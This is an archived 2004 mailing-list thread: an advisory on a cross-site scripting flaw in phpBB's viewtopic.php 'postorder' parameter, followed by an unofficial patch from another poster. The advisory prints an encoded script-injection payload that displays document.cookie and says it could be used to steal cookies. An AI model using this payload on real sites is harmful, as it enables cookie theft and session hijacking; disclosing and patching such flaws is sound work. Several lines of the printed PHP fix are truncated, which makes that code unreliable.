New phpBB ViewTopic.php Cross Site Scripting Vulnerability

[Cheng Peng Su]

################################################
Advisory Name:New phpBB ViewTopic.php Cross Site Scripting Vulnerability
Release Date: Feb 29,2004
Application: phpBB
Platform: PHP
Version Affected: the lastest version
Vendor URL: http://www.phpbb.com/
Discover: Cheng Peng Su(apple_soup_at_msn.com)
################################################

Details:
This vuln is similar to Arab VieruZ's advisory 'XSS bug in phpBB',this time the problem is not in 'highlight' ,but in 'postorder'.we can inject HTML code,such code could be used to steal cookie information.

Proof of Concept:
If there is a topic at
http://site/phpBB/viewtopic.php?t=123456
this page can be also viewed at
http://site/phpBB/viewtopic.php?t=123456&postorder=asc
then this page will contain code like below:
<a class="maintitle" href="viewtopic.php?t=176994&amp;start=0&amp;postd ays=0&amp;postorder=asc&amp;highlight=">[Topic Title]</a>.
phpBB doesn't filter out illegal characters from 'postorder',so we can inject HTML code after 'postorder='.

Exploit:
URL: http://site/phpBB/viewtopic.php?t=12...69%70%74%3E%3C

note unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65 %72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%6 9%65%29%3C%2F%73%63%72%69%70%74%3E%3C') == '">&lt;script&gt;alert(document.cookie)&lt;/script&gt;<'

Contact:
Cheng Peng Su
apple_soup_at_msn.com
Class 1,Senior 2,High school attached to Wuhan University
Wuhan,Hubei,China

[t4c [Founder of GHCIF]]

An inofficial fix to this Issue has been released by ghcif.de
PHPBB 2.0.6c XSS Flaw in viewtopic.php

Open and Backup viewtopic.php

Find:

if ( !empty($HTTP_POST_VARS['postorder']) ||
!empty($HTTP_GET_VARS['postorder']${
$post_order = (!empty($HTTP_POST_VARS['postorder'])) ?
$HTTP_POST_VARS[$
$post_time_order = ($post_order == "asc") ? "ASC" : "DESC";
}
else
{
$post_order = 'asc';
$post_time_order = 'ASC';
}



Replace with:

//
// Decide how to order the post display
//
if ( !empty($HTTP_POST_VARS['postorder']) ||
!empty($HTTP_GET_VARS['postorder']${
$post_order = (!empty($HTTP_POST_VARS['postorder'])) ?
$HTTP_POST_VARS[$
// Exploit Fix
$post_order = htmlspecialchars($post_order);
$post_time_order = ($post_order == "asc") ? "ASC" : "DESC";
}
else
{
$post_order = 'asc';
// Exploit Fix
$post_order = htmlspecialchars($post_order);
$post_time_order = 'ASC';
}



by Milan 't4c' Berger


Cheng Peng Su wrote:
>
> ################################################
> Advisory Name:New phpBB ViewTopic.php Cross Site Scripting Vulnerability
> Release Date: Feb 29,2004
> Application: phpBB
> Platform: PHP
> Version Affected: the lastest version
> Vendor URL: http://www.phpbb.com/
> Discover: Cheng Peng Su(apple_soup_at_msn.com)
> ################################################
>
> Details:
> This vuln is similar to Arab VieruZ's advisory 'XSS bug in phpBB',this time the problem is not in 'highlight' ,but in 'postorder'.we can inject HTML code,such code could be used to steal cookie information.
>
> Proof of Concept:
> If there is a topic at
> http://site/phpBB/viewtopic.php?t=123456
> this page can be also viewed at
> http://site/phpBB/viewtopic.php?t=123456&postorder=asc
> then this page will contain code like below:
> <a class="maintitle" href="viewtopic.php?t=176994&amp;start=0&amp;postd ays=0&amp;postorder=asc&amp;highlight=">[Topic Title]</a>.
> phpBB doesn't filter out illegal characters from 'postorder',so we can inject HTML code after 'postorder='.
>
> Exploit:
> URL: http://site/phpBB/viewtopic.php?t=12...69%70%74%3E%3C
>
> note unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65 %72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%6 9%65%29%3C%2F%73%63%72%69%70%74%3E%3C') == '">&lt;script&gt;alert(document.cookie)&lt;/script&gt;<'
>
> Contact:
> Cheng Peng Su
> apple_soup_at_msn.com
> Class 1,Senior 2,High school attached to Wuhan University
> Wuhan,Hubei,China
>
>

--
Milan 't4c' Berger
Network & Security Administrator
21073 Hamburg

gpg: http://www.ghcif.de/keys/t4c.asc